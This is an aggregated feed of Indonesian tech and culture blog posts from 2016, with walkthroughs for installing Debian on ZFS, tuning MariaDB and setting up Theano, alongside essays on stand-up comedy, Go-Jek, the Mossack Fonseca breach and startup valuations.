03 May 2016

cloud file

It’s obvious that I speed write and take everything from guide. As I said before, writing this in Bahasa Indonesia kind of hard for me. So, I write this as I do in parallel.

Setup Filesystem

Disable ZFS file-level prefetch as in the guide:

cat >> /etc/modprobe.d/zfs.conf << .
options zfs zfs_prefetch_disable=1

That would be last on the next reboot, but for now disable:

echo 1 | sudo tee /sys/module/zfs/parameters/zfs_prefetch_disable

Create the dataset and the optimizations:

zfs create -o mountpoint=/var/lib/mysql rpool/MARIADB
zfs set primarycache=metadata rpool/MARIADB
zfs set recordsize=16k rpool/MARIADB

It is optimized to use cache for metadata only if we are going to use INNODB. Its chunk is 16k, so we set it also in ZFS. In the guide we are told that MariaDB log is a 128k chunk — default chunk in ZFS.

Remember that ZFSOnLinux Bug early on? Yeah, we should regenerate Ramdisk everytime we’ve done something to /etc/zfs/zpool.cache. To be honest, I don’t know if any of the operation we did earlier warrant such action. But, just do that for precaution.

update-initramfs -d -k `uname -r`
update-initramfs -c -k `uname -r`

And now, we go with installing MariaDB server.

Installing Database Server

According to MariaDB Repository configuration page, let’s set MariaDB:

cat >> /etc/apt/sources.list.d/mariadb.list << .
# MariaDB 10.1 repository list - created 2016-05-03 08:05 UTC
# http://mariadb.org/mariadb/repositories/
deb [arch=amd64,i386] http://kartolo.sby.datautama.net.id/mariadb/repo/10.1/debian jessie main
deb-src http://kartolo.sby.datautama.net.id/mariadb/repo/10.1/debian jessie main

Import its key and update our list:

sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0xcbcb082a1bb943db
sudo apt-get update

Install MariaDB server:

sudo apt-get install mariadb-server

Disable MariaDB server double buffer by add a line (mine, vanilla at line 142) with:


And restart MariaDB server:

sudo systemctl restart mysql

From this onward, we are ready to install WordPress, NGINX and such.

Bacaan Lebih Lanjut

on 03 May 2016 09:19 AM

02 May 2016

Beberapa diskusi tentang flashing Android sering muncul pertanyaan tentang minimum alat bantu flashing yang berjalan di Linux padahal Android juga bagian Linux. Mungkin yang dimaksud pertanyaan ini adalah kurangnya alat bantu yang berbasis GUI seperti yang berjalan di sistem operasi Windows. Walaupun sebenarnya alat bantu seperti berbasis teks sudah cukup.

Pemilik ponsel bersistem Android dengan processor MediaTek atau biasa disebut MTK bisa terbantu dengan alat bantu flashing yang berbasis Linux. Nama aplikasi tersebut adalah SP Flash Tool. Tidak hanya berjalan di sistem operasi, alat bantu ini juga berjalan di sistem operasi Windows. Sebagai catatan SP Flash Tool yang berjalan di sistem operasi Linux berarsitektur 64Bit.

Sama seperti kemudahan yang ditemukan di sistem operasi Windows, SP Flash Tool yang berjalan di sistem operasi Linux sangat mudah digunakan. Anda cukup unduh, ekstrak dan jalankan flash_tool dengan dobel klik. Saya hanya sukses menjalankan SP Flash Tool di LinuxMint karena tidak ada ponsel ber-processor MTK untuk di-ulik. Informasi lebih lanjut dapat dilihat pada http://spflashtool.com/.
SP flash tool is an application which is mainly help you to flash Stock ROM, Custom recovery and fixing in some extreme cases ( firmware update, Flash recovery, unbrick bricked android device etc.).  SmartPhone FlashTool is working with MediaTek Android smartphones (MTK based) You can Download SPFlashTool from our download section. You need to load scatter file for MTK based device for functioning
on 02 May 2016 12:13 AM

29 Apr 2016

cloud file

I’m in fast writing mode as this is probably won’t intended to be understood by most people. I’m writing in this blog as I moving forward installing. To keep writing  and translating from my tacit into Bahasa Indonesia is kind of laboring. Perhaps, if you want, I would reiterate what I do here with better Bahasa Indonesia. But, now, let’s live speed writing.


I’ve got Ubuntu 14.04 Live USB on my arsenal. Boot it up and setup some trivial like IP, DNS and stuff. I modify APT sources.list to match my nearest server.

deb http://kambing.ui.ac.id/ubuntu/ trusty main restricted
deb http://kambing.ui.ac.id/ubuntu/ trusty-security main restricted
deb http://kambing.ui.ac.id/ubuntu/ trusty-updates main restricted

Do the update and install SSH and VIM.

sudo -i
apt-get update
apt-get install ssh vim
passwd ubuntu

I need SSH because I can’t stand on server room too long. I’m not going to go on religious war on ViM vs Emacs. Last, change ubuntu user password.

And now the show live from my comfy SSH terminal laptop.

Install Ubuntu ZFS for Ubuntu Live Session

Straight from the doc.

sudo -i
apt-add-repository --yes ppa:zfs-native/stable
apt-get update
apt-get install debootstrap spl-dkms zfs-dkms ubuntu-zfs
modprobe zfs

You may wondering why I’m not upgrading first. Upgrading a temporary system is wasting time, especially one with GUI installed. Okay, now we get to the formatting.

Create A ZFS Pool

I have 2 SATA and 1 SSD. The best for server should be two SSDs. But, hey, beggar can’t choose.

ZFS config: 2 Disks + 1 SSD.

ZFS config: 2 Disks + 1 SSD.

Using GParted, I turned SSD into GPT with 3 partitions:

  • The first 200MB for /boot partition. Some twisted soul refused to use separated partition for /boot, well, good for you! I go with the conservative.
  • 8GB used for ZIL (ZFS Intent Log) drive. ZFS usually use 8GB max for journaling.
  • The rest used for ZFS Cache (ZARC).

But, hey, where is the EFI partition?

I’ve just recently found out that when you give your whole disk to ZFS, it would format the disk into two partitions. One big partition (sX1) for the use of ZFS and one 8MB partition (sdX9) for EFI partition (FAT). Yeah, ZFS automatically turn the disk into GPT partitioning scheme. After adding the two disks into a ZFS pool, the partitions will be like this:

sda: sda1 sda9, sdb: sdb1 sdb9

I’m doing mirroring for sda and sdb. I wish I have one more SSD. I would mirror two partitions on separated SSDs for ZIL. If you are luckier than me, do it! It is for safety measure. But, don’t mirror the cache because it’s wasting space.

Here’s the reality:

zpool  create -f -o ashift=12 -o altroot=/mnt -m none rpool mirror sda sdb log sdc2 cache sdc3

If I may have a dream with two SSDs:

zpool create -f -o ashift=12 -o altroot=/mnt -m none rpool mirror sda sdb log mirror sdc2 sdd2 cache sdc3 sdd3

Disable access time, enable relative time and enable LZ4 compression on tanks.

zfs set atime=off rpool
zfs set relatime=on rpool
zfs set compression=lz4 rpool

If nothing is wrong, we would got:

# zpool status rpool
  pool: rpool
 state: ONLINE
  scan: none requested

	rpool       ONLINE       0     0     0
	  mirror-0  ONLINE       0     0     0
	    sda     ONLINE       0     0     0
	    sdb     ONLINE       0     0     0
	  sdc2      ONLINE       0     0     0
	  sdc3      ONLINE       0     0     0

errors: No known data errors

Next, the partitioning. After this, I’m doing things from Crossroad’s tutorial with some tweaks.

Create Partition

As Debian configuration:

zfs create -o mountpoint=none rpool/ROOT
zfs create -o mountpoint=/ rpool/ROOT/debian-1
zpool set bootfs=rpool/ROOT/debian-1 rpool

What? Yes, I’m installing Debian not Ubuntu.

Last, export the pool we’ve created for later import. We do this so that the ZFS config would read from disk by ID instead of common UDEV naming. Believe me, you don’t want to use UDEV naming (sda, sdb, etc.) on ZFS.

zpool export rpool

Now, we can start installing Debian system.

Install Debian

Reimport ZFS pool and create a ZFS configuration cache file.

zpool import -d /dev/disk/by-id -R /mnt rpool
mkdir -p /mnt/etc/zfs
zpool set cachefile=/mnt/etc/zfs/zpool.cache rpool

REMEMBER: (Straight from the ZFS FAQ)

update-initramfs -c -k all
after any
command changes the

This is the reason of random failures from mounting ZFS root partition.

Install the system and mount all the basic system partitions.

debootstrap --arch=amd64 jessie /mnt http://kambing.ui.ac.id/debian/

And now, configure.

Configure Debian


echo gantenghost > /mnt/etc/hostname
sed -i -Ee "s#(127.+)#\1 gantenghost#" /mnt/etc/hosts

Create configuration for network interfaces. In the spirit of new configuration scheme, I put two files in /etc/network/interfaces.d/

# cat > /mnt/etc/network/interfaces.d/eth0 << .
auto eth0
iface eth0 inet dhcp


# cat > /mnt/etc/network/interfaces.d/lo << .
auto lo
iface lo inet loopback

Mount all the system filesystems.

for f in dev dev/pts proc sys; do mount -v --bind {,/mnt}/$f; done

Chroot there

chroot /mnt /bin/bash

In Debian Configuration


apt-get install locales
sed -i -Ee 's/# (en_US.UTF+)/\1/' /etc/locale.gen


dpkg-reconfigure tzdata
apt-get install ntp
/etc/init.d/ntp stop

Remember when I said I’m going to put /boot on different partition? Now is the time.

echo "/dev/sdc1 /boot ext4 rw,relatime,stripe=4,data=ordered 0 0" >> /etc/fstab
mount /boot

Remember also what I said about using the ninth partition of the first disk? Now is the time.

apt-get install dosfstools
mkdir /boot/efi
mkfs.vfat /dev/sda9
echo "/dev/sda9 /boot/efi vfat rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro 0 0" >> /etc/fstab
mount /boot/efi

Install ZFS packages with Debian style. ZFS needs lsb-release package.

cd /tmp
wget http://archive.zfsonlinux.org/debian/pool/main/z/zfsonlinux/zfsonlinux_6_all.deb
apt-get install lsb-release
dpkg -i zfsonlinux_6_all.deb
apt-get update && apt-get install linux-image-amd64 debian-zfs
apt-get install grub2-common grub-efi zfs-initramfs

Last, add a login.

apt-get install sudo vim ssh
adduser user
adduser user sudo

Install GRUB to Disk Before Booting [ADDENDUM]

I’m sorry because this was not on original writing. Before we could log into new system, we need to install GRUB. This part is important because there is a BUG in GRUB-ZFS package that won’t generate right path for root.

Fortunately, everything can be override:

dpkg-reconfigure grub-efi-amd64

In the configuration, change Linux default command line (second screen after Linux command line) from:



root=ZFS=rpool/ROOT/debian-1 rpool=rpool bootfs=rpool/ROOT/debian-1 quiet

The important thing is the root parameter. After this, let’s install GRUB to UEFI firmware:

grub-install /dev/sda

Now, everything should be okay. Perhaps….  You might screw something somewhere. Please comment if there is something wrong.

Booting to New System

After all preparations, unmount all the filesystems

umount /boot/efi/ /boot
for f in dev/pts dev proc sys; do umount /mnt/$f; done
zfs umount -a
zpool export rpool


Final Thought

Well, you might find some faults here and there. Especially dealing with installing stuff. It won’t be fatal, but I need you to review each part as education. Else, everything after this is straightforward.

Bacaan Lebih Lanjut

on 29 Apr 2016 03:45 AM

27 Apr 2016

Kabarnya, kita akan bisa menjalankan native bash ubuntu di windows, artinya apa?, emm, terus terang saya juga masih berspekulasi karena belum bisa nyoba sendiri. Tapi dari screenshot-screenshotnya, kita bisa menjalankan perintah-perintah linux pada native windows, seperti sudo, apt-get, dan lain sebagainya. Hal ini tentu saja memudahkan kita dalam melakukan hal-hal yang biasanya hanya bisa dilakukan di linux misalnya debugging program, menjalankan command-command yang biasanya hanya untuk linux, sekarang bisa dijalankan di windows 10.


Menjalankan perintah-perintah linux yang memang sangat powerful akan sangat membantu kita yang sudah terbiasa dengan console linux, misalnya perintah python, awk, bash, git, rm, vim dll. Bagi programmer yang sering berkutat dengan server, mungkin ini akan memudahkan.


Sepertinya model bisnis microsoft dengan windows 10-nya akan pelan-pelan berubah seperti android. Yaitu dengan “menggratiskan” windows 10 tapi berjualan software dengan adanya windows store. Kita lihat saja nanti kelanjutannya.

on 27 Apr 2016 01:02 PM

25 Apr 2016

Pandji P. dalam tulisannya “Mengapa Kami Menyinggung” menyebutkan bahwa seyogyanya Komika harus memiliki swa-sensor. Dia menyebutkan bahwa sering kali materi kontroversial digunakan oleh Komika dalam mop hanya sebuah kejutan. Kejutan itu sebenarnya demi memelintir pengharapan penonton.

Benarkah hanya demikian?

Kalau dilihat dari sejarah, mop modern berasal dari Amerika Serikat. Di sana, generasi dari Seinfield sampai Chris Rock berkembang. Semuanya sama, mereka mengisi dengan konten kritik sosial. Bahkan, tak lupa mereka memasukkan konten-konten yang menyakitkan.

Di negara Paman Sam sana, komedian dapat berkembang dengan baik. Amandemen UUD mereka menjamin seorang komedian takkan dihukum oleh perkataannya yang bebas. Mereka bahkan memiliki Comedy Central sebagai pusat produksi mereka.

Indonesia nampaknya tidak memiliki hukum tertinggi seperti itu. Mungkin, seperti yang dimengerti Pandji, mereka masih menganggap komika bisa memasukkan hal-hal kontroversial merupakan sebuah hal yang keren. Padahal, setiap mop yang terjadi mungkin sebenarnya memiliki agenda baik politik mau pun sosial, tapi terutama isu sosial. Sayangnya, saat ini konsekuensinya di Indonesia terlalu menakutkan.

Kalau saya boleh tarik lebih lanjut, sejarah mop berasal jauh dari zaman dahulu kala jauh di zaman kerajaan. Mereka biasanya berpakaian badut dan melucu untuk Raja atau pun para bangsawan. Mereka disebut sebagai Jester.

Mereka memiliki tugas untuk menghibur. Seorang jester mengolok tuannya dengan kritik. Hiburan dan kritik ini adalah bagian dari seorang jester. Mereka sering mengolok juga orang-orang lain.

Anehnya, banyak kerajaan di dunia menaruh posisi jester sebagai penasihat. Bahkan, di India bagian Selatan seorang raja takkan lengkap tanpa jester-nya. Mahabrata takkan lengkap tanpa punakawan.

En Folastrant Sagement

Ada kasus Ratu Elisabeth memecat jester-nya karena kurang kontroversial terhadap dirinya. Di lain pihak, banyak jester yang bercanda keterlaluan sehingga menghadapi dari hukuman cambuk bahkan sampai hukuman mati. Selalu ada resiko untuk menjadi pihak yang menghibur dengan kontroversial.

Namun, mengapa profesi tetap saja ada?

Seorang ayah yang terlalu posesif kepada anak perempuannya membuat anaknya tak bisa menikah. Seorang kaya mewarisi anaknya dengan kebodohan sehingga hartanya terkuras. Seorang raja terlalu angkuh menyediakan kepalanya di nampan pada hari tuanya. Seorang yang berdiri tinggi tanpa ada yang mengkritik cenderung mengarah kepada kehancuran.

Untuk orang-orang yang terlalu tinggi inilah seorang jester diperlukan. Seorang jester perlu menampar seseorang tanpa membuat dia kehilangan harga dirinya. Sifat ini yang menjadikan seorang jester yang baik adalah seorang yang begitu bijak sehingga ia bisa menjadi si bodoh. Menemukan formulasi yang tepat untuk memulai diskusi adalah sebuah tugas dari seorang jester. Inilah tugas dan tantangan yang harus dihadapi oleh seorang jester modern, komika a.k.a komedian.

Peter Russels mengolok-olok ras-ras dengan menyebutkan stereotipe-stereotipe ras tersebut. Pertama-tama, ia memulai dengan mengangkat ras tersebut. Lalu, ia masuk ke olokan ras tersebut. Terakhir, ia tak lupa mengangkat kembali ras yang telah dioloknya. Ia selalu menyediakan jalan keluar untuk mengangkat harkat ras tersebut sehingga ras tersebut pada akhirnya tidak tersinggung.

Untuk yang suka level keras, ada juga komedian di Comedy Central yang langsung ke subyek yang sensitif. Namun, kalau saya amati, sepertinya hidupnya seperti lelucon. Ada saja fitur dari tubuhnya yang dapat menjadi tertawaan. Memang, dosis komedi seperti ini bukan untuk khalayak ramai.

Kalau saya baca argumen yang dibilang oleh Pandji, saya teringat argumen yang berusaha diungkap oleh John Oliver kepada jurnalis. John Oliver merupakan komedian yang mengangkat tema-tema sulit di Amerika dan membawakan berita tersebut dengan gaya lelucon. Para jurnalis menyebutnya sebagai jurnalis, tetapi Beliau menyebut dirinya sebagai komedian yang berusaha membuat orang tertawa. Menurut dia, dia dan timnya memformulasikan bahwa lelucon kehilangan kelucuannya bila data yang dipaparkan tidak akurat.

Kalau menurut saya, John Oliver dan timnya telah sukses memasukkan berita yang kontroversial dengan kelucuan. Mereka berhasil menaikkan isu penting kepada publik Amerika Serikat tanpa mengaktifkan pertahanan. Pertahanan itu seperti penolakan (denial), pengacuhan, dan bahkan sensor. Alarm pertahanan tak aktif karena lelucon-lelucon yang dipaparkan membuat penonton tak merasa frustrasi, bahkan sebaliknya, mereka merasa diperkuat.

Kembali ke Pandji

Ada banyak isu yang menjadi api dalam sekam di negara ini. Isu antar umat agama. Toleransi dengan kaum minoritas. Isu jurang ekonomi yang semakin jauh dan munculnya generasi kelas menengah yang acuh. Bahkan, sampai isu sensitif seperti paham-paham komunisme dan liberalisme.

Bangsa ini terlalu takut untuk membahas isu-isu penting itu. Kami butuh jester untuk membuat kami nyaman untuk memulai diskusi itu. Kami perlu Pandji dan kawan-kawan untuk secara cerdas memasukkan isu-isu tersebut dengan lelucon, bukan swa-sensor.

Dari pada menunggu hukum yang melindungi mereka, saya hanya bisa berharap agar rekan-rekan daring melindungi mereka dari cyber-bullying. Lindungi perkataan mereka walaupun seperti menyakitkan. Saya rasa, mereka orang-orang jenius yang bukan sekedar lelucon belaka. Kita perlu melindungi mereka dari niatan jahat yang berusaha menjatuhkan mereka.

Sifat bangsa Indonesia yang sekarang semakin tak bisa dikritik menurut saya sudah pembodohan lebih dari zaman dahulu. Padahal, adalah budaya Nusantara untuk pantun-pantun jenaka. Adalah budaya Nusantara untuk majas-majas ironi dan satir. Adalah bagian dari budaya kita untuk bersilat lidah.

Saya harap, mop-mop Indonesia bisa mengembalikan budaya kita yang mau terima kritik dan mengkritik dengan elegan; mengkritik dengan lelucon. Jangan sampai api dalam sekam itu membakar lumbung padi kita. Biarlah ia terkuak dengan lelucon sehingga dapat dipadamkan.

Bacaan Lebih Lanjut

on 25 Apr 2016 04:31 PM

19 Apr 2016

Mungkin sebagian dari kalian sudah familiar dengan cerita klasik Nikola vs Thomas Edison? Singkatnya banyak yang bilang penemuan-penemuan yang “diklaim” ciptaan Edison itu sebenarnya adalah hasil karya Tesla.

Larry Page (pendiri Google) sangat terinspirasi oleh cerita hidup Tesla. Ia sampai menangis ketika selesai membaca buku kisah hidupnya. Tesla adalah seorang penemu sejati. Tapi karena terlalu fokus pada teknologi, akhirnya “hanya dimanfaatkan” oleh Edison. Edison yang membuat temuan-temuan Tesla menjadi bisnis raksasa. Sementara itu Tesla akhirnya harus meninggal dunia dalam kondisi melarat. Konon itulah sebabnya Larry Page selalu berusaha memastikan Google (sekarang Alphabet) tetap besar sebagai bisnis sehingga Ia dan Sergey Brin bisa terus berinovasi dengan teknologi.

Lalu bagaimana dengan Linus Torvalds? Saya pribadi (tadinya) menyamakan dia seperti Tesla (minus melarat). Dia menciptakan sistem operasi Linux, yang digunakan di ratusan juta mesin-mesin server (termasuk yang digunakan Google, Yahoo, Facebook, dll), yang diberikan secara cuma-cuma. Tapi dalam sebuah acara wawancara TED Talks, Torvalds justru menyatakan (kurang lebih) “yang menemukan memang Tesla, tapi yang mengubah dunia ya Edison.” Dan dia menyatakan bahwa dirinya pada dasarnya lebih condong ke Edison. Mengejutkan buat saya.

Simak videonya di sini.

Tapi walau begitu Torvalds tetap pribadi yang sederhana. Satu lagi yang membuat saya kagum dengan kepribadian Torvalds, dia ternyata seorang “geek” abis. Selalu bekerja sendirian. Mengakui bahwa dia bukan “people person”, tidak nyaman berinteraksi dengan orang-orang banyak, apalagi tampil di depan publik. Dan yang paling mengejutkan dia mengakui bahwa dirinya bukan seorang visioner.

Banyak orang-orang yang melihat ke langit di atas sana, dan berpikir apa yang bisa dicapai di masa depan di angkasa sana, orang-orang visioner. Tapi Linus adalah orang yang melihat jalanan yang sedang diinjaknya, melihat jika ada lubang di jalan, apa yang bisa dia perbaiki agar jalan itu bisa mulus kembali dan bisa nyaman digunakan orang banyak.

Dunia ini memang semakin cepat bergerak “maju” karena banyak orang-orang visioner yang berpikiran jauh ke masa depan. Tapi dunia ini juga perlu orang seperti Torvalds, yang menyelesaikan masalah yang nyata yang kita hadapi saat ini, di sekitar kita.

Anda mau jadi seperti siapa? Tesla, Edison, Larry atau Torvalds?

on 19 Apr 2016 03:09 PM

18 Apr 2016

Kemarin malam saya berada di Ratu Plaza, daerah Senayan. Saya hendak ke suatu tempat di daerah Cidodol. Karena males kena macet, saya pesan lah Go-Jek. Setelah pesan saya tidak perhatikan lagi aplikasinya. Sibuk mengunyah makanan.

Tak lama saya mendapatkan panggilan telpon. Ternyata pengemudi Go-Jek. Saya belum cek lagi aplikasinya. Dia bilang paling lama 10 menit baru nyampe. Saya menduga dia di sekitar Senayan, tapi terjebak macet. Ya sudahlah.

5 menit kemudian, baru saya cek aplikasinya. Posisi si pengemudi di daerah Cidodol. Lah?? Itu tujuan saya toh. Saya mau batalkan kok kasihan juga dia sudah datang jauh-jauh.

Lebih dari 15 menit, pengemudi Go-Jek nya baru sampai. Dan dia mengkonfirmasi, benar dia tadi Cidodol. Duh.

Saya enggak ngerti logika aplikasi di Go-Jek ini. Seringkali saya melihat di depan mata saya paling tidak ada 10 orang pengemudi Go-Jek yang sibuk memperhatikan ponselnya, siap menunggu orderan. Tetapi ketika saya memesan jasa Go-Jek, yang mendapatkan pesanan malah berjarak 2 km dari lokasi saya.

Inilah sebabnya terkadang saya terpaksa membatalkan pesanan saya, dan coba pesan lagi. Apesnya, jika membatalkan pesanan sampai 5x dalam sehari, akun kita akan dibekukan sementara. Dan ini tanpa pemberitahuan. Saya sendiri pernah mengalami. Karena komplain via telponlah saya baru tahu penyebabnya.

Gak ngerti deh gimana sebenarnya algoritma yang digunakan Go-Jek. Semoga pengemudi UberMotor cepat bertambah banyak. Saya (dan mungkin banyak orang lainnya) butuh alternatif.

*Kenapa gak pakai GrabBike? Karena GrabBike harus dibayar tunai langsung. Saya malas berhadapan dengan “modus tidak ada kembalian”. Sekali dua kali tidak apa-apa, kalau berpuluh kali ya nyesek juga.

on 18 Apr 2016 07:39 AM

15 Apr 2016

Forbes melaporkan bahwa perusahaan Mossack Fonseca memberikan akses data portal kepada penggunanya dengan menggunakan Portal yang menggunakan versi Drupal tua yang memiliki lubang keamanan. Wordfence pun menyebutkan bahwa situs MF menggunakan WordPress dengan plugin Revolution Slider versi bermasalah. Wordfence menyebutkan lebih lanjut bahwa WordPress tersebut juga menggunakan plugin yang memiliki akses ke dalam peladen surel.

Sewaktu membaca tulisan tersebut, saya merasa bangga bahwa UI menggunakan teknologi yang sama dengan mereka. Hanya saja, mengapa mereka lambat dalam memperbaharui situs WordPress mereka? Setahu saya, kelemahan Revolution Slider terkuak pada tahun 2014! Saya saja sudah agak lupa kelemahannya yang mana.

Dalam dunia keamanan, sebenarnya ada beberapa sumber bolong keamanan. Namun, Karyawan yang kecewa adalah sumber bolong terbesar dalam keamanan. Itu makanya, di dunia TIK ada segregasi tripartid yang memisahkan fungsi-fungsi dan orang yang menjabat. Dengan tiga fungsi yang dibedakan ini, diharapkan setiap pihak bisa saling mengawasi. Juga, penerapan pertukaran posisi agar karyawan tidak terlalu menguasai. Beberapa korporasi menerapkan kebijakan akses sistem dan komputer.

Kembali ke WordPress.

Setahu saya, asalkan rajin memperbaharui WordPress, situs ini relatif aman. Apalagi, WordPress dan plugin-plugin-nya rajin memperbaharui produknya. WordPress memiliki repositori saluran keamanan yang hanya sejauh klik. Masalah yang terjadi adalah justru pada plugin berbayar yang memiliki repositori sendiri. Itu sebabnya, saya pribadi lebih suka menggunakan plugin gratisan dari WordPress. Revolution Slider itu adalah plugin berbayar dan harus diperbaharui secara manual.

Saya lihat yang sering terlewati dari pembuatan kontrak dengan kontraktor pengembang adalah kontrak pemeliharaan. Kontrak pemeliharaan adalah kontrak yang paling krusial dalam sebuah organisasi. Salah satu fungsi dari perencanaan IT Roadmap dalam sebuah perusahaan adalah penentuan sampai kapan sebuah sistem perangkat lunak dikatakan usang. Keusangan itu menentukan seberapa usaha sebuah organisasi dalam memelihara sistem tersebut. MF mungkin adalah sebuah organisasi  yang tidak memiliki IT Roadmap.

Melihat horor yang terjadi bahwa penjebolan sistem dapat menyebabkan sistem lain terjebol, saya tidak habis pikir. Yang pasti, mereka tidak memiliki kebijakan TIK yang komprehensif. Mereka seharusnya memiliki segmentasi jaringan sesuai dengan prinsip-prinsip yang telah ada bertahun-tahun. Setidaknya, mereka memisahkan jaringan DMZ dan jaringan internal. Memisahkan sistem-sistem berdasarkan peruntukan. Misalnya, portal dan situs web harusnya dipisahkan dan data yang digunakan seharusnya berbeda, termasuk sandi masuk mereka!

Tentunya, pemisahan ini memerlukan biaya lebih. Faktor apakah keamanan perusahaan sebanding dengan biaya yang diperlukan, hal ini termasuk dalam Risk Assessment Analysis (Analisis Ancaman) yang mana saya malas membahas untuk saat ini.


on 15 Apr 2016 09:11 AM

14 Apr 2016

[Foto: adders | flickr.com]
Saya pernah tahu ada acara-acara sharing session tentang topik spesifik yang disponsori oleh perusahan “teknologi” di Indonesia. Misal topik tentang NodeJS, PHP atau Python misalnya. Tetapi saya jarang mendengar sharing session tentang bagaimana teknologi di perusahaan itu sendiri. Baik tentang arsitektur teknologinya, cara mengatur orang dan fungsi-fungsinya, atau perangkat lunak/keras apa saja yang dipakai.

Kalau di luar negri ini seperti sudah jadi kegiatan rutin. Di YouTube banyak video-videonya. Jaman saya masih senang otak-atik dunia pemrograman, saya sering lihat video-video ini.

Blibli.com salah satu contoh yang baik. Minggu lalu mereka mengadakan acara sharing session. “Buka-bukaan” tentang teknologi yang digunakan mereka. Silakan baca detailnya di LABANA.ID.

Dengan acara seperti ini, efeknya bagus juga bagi para pelaku industri ini. Selain mendapatkan pengetahuan yang lebih banyak, paling tidak mereka bisa mendapatkan informasi untuk peluang karir berikutnya. 😀

on 14 Apr 2016 06:59 AM

Korean version of Spotify and iTunes

Putu Wiramaswara Widya

If you are music lover who used with music service like Spotify (for streaming) or iTunes Music (for buying MP3) and planning to live in Korea for extended amount of time, here is a bad news for you: Both service is yet available in Korea, which is understandable considering their “protectionist” policy on foreign internet service (Even Google are not so useful here, a lot of information can only be gathered via Naver/Daum).

Of course you are still able to use those service if you still paying using home issued credit card or connecting thorugh VPN (As for April 2016, you do not need any VPN to use premium Spotify or iTunes Music Store, just stick with your own language on the setting). But otherwise, if you curious enough to know what do Korean uses for this purpose, and want to use the service (which can be cheaper and payable in KRW) this article will show you some of their home-grown service.

At first, I want to list the service that I know offer both Music Download and Streaming:

Here are some common fact about those service:

  • They are only available in Korean. But if you can read some Hangeul, and learn some common terminology (I would show you later here), it is not as cryptic as you would expect.
  • They offer both music download and streaming service.
  • They offer several plan from the cheapest streaming only plan (무제한 감성) for as cheap as 5000KRW to 100-150 MP3 Download plan (MP3 저장) which cheaper than buying each music separately (usually 600-700KRW per music). Furthermore, they always offer 3 months of discounted price which you can take advantage on)
  • They offer several client from web based to smartphone.
  • They offer virtually same collection. If you like Korean music, you will find their service offer more collection than any other international service. For the foreign/non-Korean music, they offer fair amount of music that issued by top major labels and I never find any trouble finding popular American Pop or even Eurodance track with some exception of those come from independent labels.
  • They accept payment in same kind of payment method usually used in Korean website, you know, with Active-X stuff and thing.

Then if you are curious enough to start this service, given that you already familiar with Korean payment system, then you can start using one of those service. Not for purpose for endorsing a particular brand, but I would recommend you to use 멜론 as a first time trial for some reasons: They have a very good Windows based client which play the music along with its lyric like in Karaoke music video, albeit a bit pricier than other service.

Here are some terminology that you need to be familiar with if you want to use those services:

  • 이용권구매: The first time you open those website, look at this particular text (usually on upper right corner) and click on it to see what kind of plan do they offer.
  • 3개월 특가: Special price for 3 months, as mentioned earlier.
  • 전체 이용권: If you want to pay “separately” on each month, then you can use this plan although it is more expensive than using automatic payment (자동결제/정기결제)
  • 무제한 듣기: Unlimited listening / streaming
  • 구매: Order, 선물: Gift
  • 회원가입: New user registration
  • 결제방법: Payment method, this can be: 신용카드 (Credit Card/Check Card), 계촤이제 (Money Transfer), 휴대폰결제 (Mobile payment).
  • 전제이용권: Current plan
  • 차트: Chart / Music Chart
  • 최신음악: New song
  • 인기음악: Popular song
  • 장르: Genre
  • 가요/국내음악: Korean Music
  • 해외음악: International Music
  • 가사: Lyric
  • And the rest of terminology are mostly using Konglish.

on 14 Apr 2016 04:25 AM

If you are the one who struggle to install Python Theano (tensor based numerical computation library) with CUDA-based computation capability on modern Microsoft Windows operating system, this very article might helped you. Here is some steps I already tried in my freshly installed Windows 10 x64. The procedure here are based from this poorly written documentation.

First, I would assume you already install the Python library itself. To make it more convinient, I recommend to install pre-packaged Python library which already included some basic necesities (numpy, scipy, etc) like Anaconda. The next procedure will assume you already installed the Anaconda.

The second thing you need to install are:

  • LibPython MinGW library (use this command: conda install mingw libpython),
  • Visual C++ no later than version 2013 (I would recommend instaling Visual Studio Express 2012 which still can be grabbed freely)
  • CUDA toolkit from nVIDIA. In my case I use version 7.5.

After all of three software installed, then create a new file on %USERPROFILE%/.theanorc.txt with content as explained in http://deeplearning.net/software/theano/install_windows.html#configure-theano-for-gpu-use (change the –cl-version according to what version of Visual C++ you already installed).

The last step before compile a Theano code is to include “cl.exe” into your PATH environment system variable by adding “C:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\bin\x86_amd64″ in it (Google for how to do this).

To compile a Thenao code, make sure you run c:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\vcvarsall.bat x86_amd64 script PRIOR to opening Python intrepreter. For the testing purpose, you can try a code given from the original tutorial: http://deeplearning.net/software/theano/install_windows.html#configuring-theano.

Hope this article will help you. If any case of error still ocurring after following those step above, please read carefully the error given by C++ compiler during code compilation process (The way Theano works is by compiling the Python code into C++ before doing the calculation).

on 14 Apr 2016 03:45 AM

13 Apr 2016

Rangkuman akuisisi yang saya ingat:

  • Detikcom (berdiri tahun 1999) dulu dibeli Trans Corp dengan harga sekitar Rp 500 M.
  • Kaskus (berdiri tahun 1999) gosipnya dibeli GDP (Djarum Group) dengan harga sekitar Rp 500 – 600 M.
  • KapanLagi (berdiri tahun 2003), valuasinya (gosip juga) sekitar Rp 1 T ketika sebagian sahamnya dibeli MediaCorp.
  • Hipwee (berdiri tahun 2014), nilai akuisisinya oleh Migmee adalah Rp 5,4 M. Situs ini sering disebut-sebut sebagai BuzzFeed nya Indonesia.

Semua contoh di atas adalah startup yang kriterianya didirikan di Indonesia, dan target pasarnya juga Indonesia. Hanya saja mereka masuk dalam kategori industri media online. Khusus 3 teratas, mereka didirikan di sekitar waktu tahun 1999 – 2003, sekitar 13 tahun lalu.

Sekarang lihat startup dengan dengan kriteria yang sama, tetapi bukan media online, alias mereka yang disebut “startup teknologi”.

Tokopedia (didirikan tahun 2009, 7 tahun lalu) – Pertama didirikan digelontorin dana Rp 2,4 M untuk 80% saham. Artinya valuasinya waktu baru berdiri sudah Rp 3 M. Sekarang? Dengan suntikan dana baru hampir Rp 2T, tentunya valuasinya sudah di angka triliunan Rupiah.

Go-Jek (berdiri tahun 2010, tapi baru aktif kembali sekitar tahun 2012 akhir) – Dikabarkan mendapatkan investasi ratusan juta dollar oleh Bloomberg.

Kesimpulannya, startup media di Indonesia memang angkanya gak bombastis kayaknya ya.

on 13 Apr 2016 09:14 AM

12 Apr 2016

